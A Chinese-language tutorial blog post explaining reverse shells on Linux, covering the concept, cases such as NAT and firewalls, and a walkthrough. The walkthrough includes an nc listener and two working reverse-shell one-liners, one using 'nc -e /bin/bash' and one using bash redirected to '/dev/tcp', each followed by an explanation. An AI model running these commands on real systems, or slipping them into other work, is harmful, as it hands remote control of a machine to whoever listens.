Linux - 反弹Shell

概念

Shell 估计大家都不陌生,简单来说,就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。

那反弹 Shell ( Reverse Shell)则是控制端首先监听某个 TCP/UDP 端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。

比如说,我们有两台主机 A、B,我们最终想实现在 A 上控制 B。那么如果用正向 Shell,其实就是在 A 上输入 B 的连接地址,比如通过 ssh 连接到 B,连接成功之后,我们就可以在 A 上通过命令控制 B 了。如果用反向 Shell,那就是在 A 上先开启一个监听端口,然后让 B 去连接 A 的这个端口,连接成功之后,A 这边就能通过命令控制 B了。

适用场景

通常情况下如果想用 ssh 等命令来实现 A 控制 B,首先得明确 B 的 sshd 地址或者端口,但是在很多情况下,由于防火墙、安全组、局域网、NAT 等原因,我们实际上是无法直接连接到 B 的,比如:

  • A 虽然有公网 IP,但 B 是一个处于内网的机器,A 就没法直接连到 B 上。
  • B 上开了防火墙或者安全组限制,sshd 的服务端口 22 被封闭了。
  • B 是一台拨号主机,其 IP 地址经常变动。
  • 假如 B 被攻击了,我们想让 B 向 A 汇报自己的状况,那自然就需要 B 主动去连接 A。

如果是这些情况,我们就可以用反弹 Shell 用 A 来控制 B 了。

实战

这里我们一共需要两台主机:

  • A 是控制端,可以处于公网之中,也可以和 B 处于一个局域网中,总之能让 B 找到 A 就行。
  • B 是被控端,可以处在局域网之中。

在开始之前我们需要在控制端用到 nc 命令来实现端口监听,CentOS 系列系统通过 yum install -y nc 即可。

接着,我们在 A 上执行如下命令:

nc -lvp 32767

这个命令的意思是开启 32767 的端口监听,运行之后如图所示:

这样就表明 A 上正在监听 32767 端口的连接了。

这时候,我们可以在被控端通过如下两种方式连接到 A:

  1. 在 B 上通过 nc 连接到 A

假如 A 的 IP 是 111.112.113.114,那么命令如下:

powershell 复制代码
nc 111.112.113.114 32767 -e /bin/bash

注意:你在运行的时候需要替换成 A 的真实 IP 和端口。

运行完毕之后,我们反过来观察下 A,就显示了来自某个 IP 和端口的连接,我们就可以输入命令来控制 B 了,比如这里我们输入了:

powershell 复制代码
cat /etc/redhat-release
uname -a

然后就可以得到 B 的系统版本信息了。

如图所示:

  1. 在 B 上通过 bash 连接到 A

命令如下:

powershell 复制代码
bash -i >& /dev/tcp/111.112.113.114/32767 0>&1

这个命令大致解释下:

  • bash -i 就是产生一个 bash 交互环境
  • >& 可以将 bash 交互环境的输入、输出、错误输出都输出到一个地方
  • /dev/tcp/111.112.113.114/32767 其实指的就是目标主机的一个连接地址,因为 Linux 环境中所有内容的定义都是以文件的形式存在的,指定这个地址就是让主机和目标主机建立一个 TCP 连接。
  • 0>&1可以将标准输入和标准输出相结合,重定向给前面标准输出的内容。

通过这样的命令,我们就可以就是将 B的标准输出和错误输出都重定向给 A,并且将 A 的输入都重定向给 B,这样我们就可以实现 A 对 B 的远程控制了,如图所示:

注意

使用时若 A 主机开启防火墙,需要对监听端口放行,否则会导致 B 连不上A

相关推荐
韩楚风3 小时前
【linux 多进程并发】linux进程状态与生命周期各阶段转换,进程状态查看分析,助力高性能优化
linux·服务器·性能优化·架构·gnu
陈苏同学3 小时前
4. 将pycharm本地项目同步到(Linux)服务器上——深度学习·科研实践·从0到1
linux·服务器·ide·人工智能·python·深度学习·pycharm
Ambition_LAO3 小时前
解决:进入 WSL(Windows Subsystem for Linux)以及将 PyCharm 2024 连接到 WSL
linux·pycharm
Pythonliu74 小时前
茴香豆 + Qwen-7B-Chat-Int8
linux·运维·服务器
你疯了抱抱我4 小时前
【RockyLinux 9.4】安装 NVIDIA 驱动,改变分辨率,避坑版本。(CentOS 系列也能用)
linux·运维·centos
追风赶月、4 小时前
【Linux】进程地址空间(初步了解)
linux
栎栎学编程4 小时前
Linux中环境变量
linux
我是哈哈hh4 小时前
专题十_穷举vs暴搜vs深搜vs回溯vs剪枝_二叉树的深度优先搜索_算法专题详细总结
服务器·数据结构·c++·算法·机器学习·深度优先·剪枝
郭二哈4 小时前
C++——模板进阶、继承
java·服务器·c++
挥剑决浮云 -4 小时前
Linux 之 安装软件、GCC编译器、Linux 操作系统基础
linux·服务器·c语言·c++·经验分享·笔记